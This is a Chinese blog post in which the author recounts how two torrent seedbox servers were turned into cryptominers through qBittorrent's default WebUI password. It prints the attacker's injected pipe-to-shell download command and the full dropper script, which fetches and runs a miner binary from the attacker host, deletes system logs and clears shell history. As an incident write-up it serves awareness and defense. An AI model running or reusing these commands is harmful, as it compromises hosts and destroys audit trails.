全文总结:
使用任何需要密码或者口令的服务或者应用都需要设置一个强密码或者强口令,而不是为了偷懒省事或者是觉得没有意义而使用默认密码,同时更换默认端口和默认用户信息也是必要的行为,偷懒这种行为会让你养成不好的习惯并且终有一天会为这种行为付出代价,而我的代价则是两台服务器被植入了挖矿程序
1、问题发现
我的两台服务器都是PT使用的大盘鸡,相同的配置但是不同的IP段,但是前后购入时间有一些差异,在第一台服务器稳定使用一个月后我购入了第二台服务器,如果不是第二台服务器的异常情况我肯定会一直蒙在鼓里成为一只愚蠢的挖矿肉鸡。
大盘鸡的配置相对来说还是比较富余的,但是4H6G的性能跑一个qBittorrent-nox和Transmission是绰绰有余的,但是因为第一台服务器刷流的同一时间会涉及数十个种子的上传下载,合并的峰值并发可能会在300MB/S,日常也有100MB/S的上下传,实际上对机器的负载还是有一些压力的,所以第一台服务器的高负载和高占用实际上对我来说是合理的,我一直没放在心上,但是经常会有CPU占用导100%的情况导致宕机,不得不需要我手动重启服务器才行,这个时候其实会有一些怀疑,但是我一直怀疑的是服务器的配置太过于垃圾,只是为服务器设置了一个定时重启任务避免超载宕机服务中断,同时这个时候我查看了进程发现有个任务名为“netaddr”为主力占用,但是我点进去看了一下访问IP和端口都是PT连接的对象,我也没有起疑心。
除了负载较高以外,这台服务器的稳定性其实还是不错,没有因为商机的原因断线或者出过其他问题,而且读写和性价比的原因我便入手第二台用于保种,开机后还是安装常用PT软件,前两天还好,但是过了两天以后我发现这台服务器的CPU负载也会满载,这个时候就让我开始觉得不对劲,日常的保种实际上不会产生大流量的进出,所以对服务器的负载实际上是很低的,排查异常进程还是这个叫做“netaddr”的内容,当时以为是服务器的厂商预安装应用,便重新dd了系统,后续几天这个问题便没有出现,这里便告一段落。
但是又过了几天我发现我的qBittorrent的网页端登陆失败了,但是我并没有修改密码,使用的是默认密码“adminadmin”,最后在看网上的方法重置了密码后进入页面,当时里面出现了一个陌生的种子,但是很明显不是我下载的内容,于是我找了一下日志发现23.95.200.178这个IP登陆了我的WebAPI,下载了一个种子,并且设置了在下载种子或者下载种子完成后执行的命令:
sh -c "(curl -skL https://hashx.dev || wget --no-check-certificate -qO - https://hashx.dev) | sh"
我于是登陆了web端查看了一下设置,第一眼的时候没看出有什么问题,但是开关被打开了,我又双击选中后发现了端倪,这个B在命令前面添加了长空格,导致在前端因为展示限制的原因看起来好像没有脚本,但是执行命令时空格又会被忽略,导致我每一次下载种子都会运行一遍脚本。
问题基本上排查出来了,由于我安装软件后并没有修改默认密码和端口导致被机器扫描到了并且进行登陆,然后执行命令让我成为了一台愚蠢的挖矿肉鸡,后续我对两台服务器都重新dd了系统,安装软件后修改了默认密码,现在已经解决了这个问题,系统负载状态也恢复了正常。
2、脚本解析
其实解决了我的问题就差不多了,但是我比较好奇他的脚本具体实施内容和流程,于是做了一些简单的分析(主要是让kimi分析的),以下是一些相关的信息,因为这个也不算隐私信息就不打码了,大家注意别在自己服务器上执行就行。
扫描IP:23.95.200.178
域名信息:https://hashx.dev【IP:94.142.138.171】
域名无法访问,但是可以通过固定路径进行执行文件下载
下载脚本:
sh -c "(curl -skL https://hashx.dev || wget --no-check-certificate -qO - https://hashx.dev) | sh"
脚本内容:
#!/bin/sh
RUN=$(ps -ef | grep 'netaddr' | grep -v 'defunct' | grep -v 'grep' | wc -l)
if ! [ $RUN -gt 0 ]; then
(curl -ksL https://hashx.dev/netaddr -o /tmp/netaddr || wget --no-check-certificate -qO /tmp/netaddr https://hashx.dev/netaddr || lwp-download https://hashx.dev/netaddr /tmp/netaddr) >/dev/null 2>&1
cd /tmp;chmod +x netaddr;./netaddr;rm -rf netaddr
fi
(if sudo -n true; then for logs in $(sudo find /var/log -type f); do sudo rm $logs; done; elif [ "$(id -u)" -eq 0 ]; then for logs in $(find /var/log -type f); do rm $logs; done; fi) >/dev/null 2>&1
(rm $HOME/.bash_history) >/dev/null 2>&1
(history -c) >/dev/null 2>&1
这段脚本是一个Shell脚本,它执行了一系列的系统操作。下面是脚本的逐行解释:
#!/bin/sh:这是一个shebang行,告诉系统这个脚本应该用哪个解释器来执行,这里是
sh
。RUN=$(ps -ef | grep ‘netaddr’ | grep -v ‘defunct’ | grep -v ‘grep’ | wc -l):这行命令检查系统中是否有名为
netaddr
的进程正在运行。ps -ef
列出所有进程,grep 'netaddr'
过滤出包含netaddr
的行,grep -v 'defunct'
排除掉僵尸进程,grep -v 'grep'
排除掉包含grep
命令本身的行,wc -l
计算行数,赋值给变量RUN
。if ! [ $RUN -gt 0 ]; then:如果
RUN
的值不大于0(即没有netaddr
进程在运行),则执行以下操作。(curl -ksL https://hashx.dev/netaddr -o /tmp/netaddr || wget --no-check-certificate -qO /tmp/netaddr https://hashx.dev/netaddr || lwp-download https://hashx.dev/netaddr /tmp/netaddr) >/dev/null 2>&1:尝试使用
curl
下载https://hashx.dev/netaddr
到/tmp/netaddr
,如果curl
失败,则尝试使用wget
,如果wget
也失败,则尝试使用lwp-download
。所有命令的输出都被重定向到/dev/null
,即丢弃输出。cd /tmp;chmod +x netaddr;./netaddr;rm -rf netaddr:切换到
/tmp
目录,给netaddr
文件添加执行权限,执行它,然后删除它。(if sudo -n true; then for logs in $(sudo find /var/log -type f); do sudo rm logs; done; elif [ "(id -u)" -eq 0 ]; then for logs in $(find /var/log -type f); do rm $logs; done; fi) >/dev/null 2>&1:这行命令检查是否有
sudo
权限,如果有,则使用sudo
删除/var/log
目录下的所有日志文件;如果没有sudo
权限但当前用户是root(用户ID为0),则直接删除日志文件。所有命令的输出都被重定向到/dev/null
。(rm $HOME/.bash_history) >/dev/null 2>&1:删除当前用户的bash历史记录文件。
(history -c) >/dev/null 2>&1:清空当前的命令历史。
脚本执行文件扫描结果:最后扫描了一下,确实这个执行文件是病毒信息,包括我一下载到本地就被QQ安全管家杀掉了
**以上,再次以个人亲身经历告诫大家一定记得修改默认密码,避免造成损失!!!
**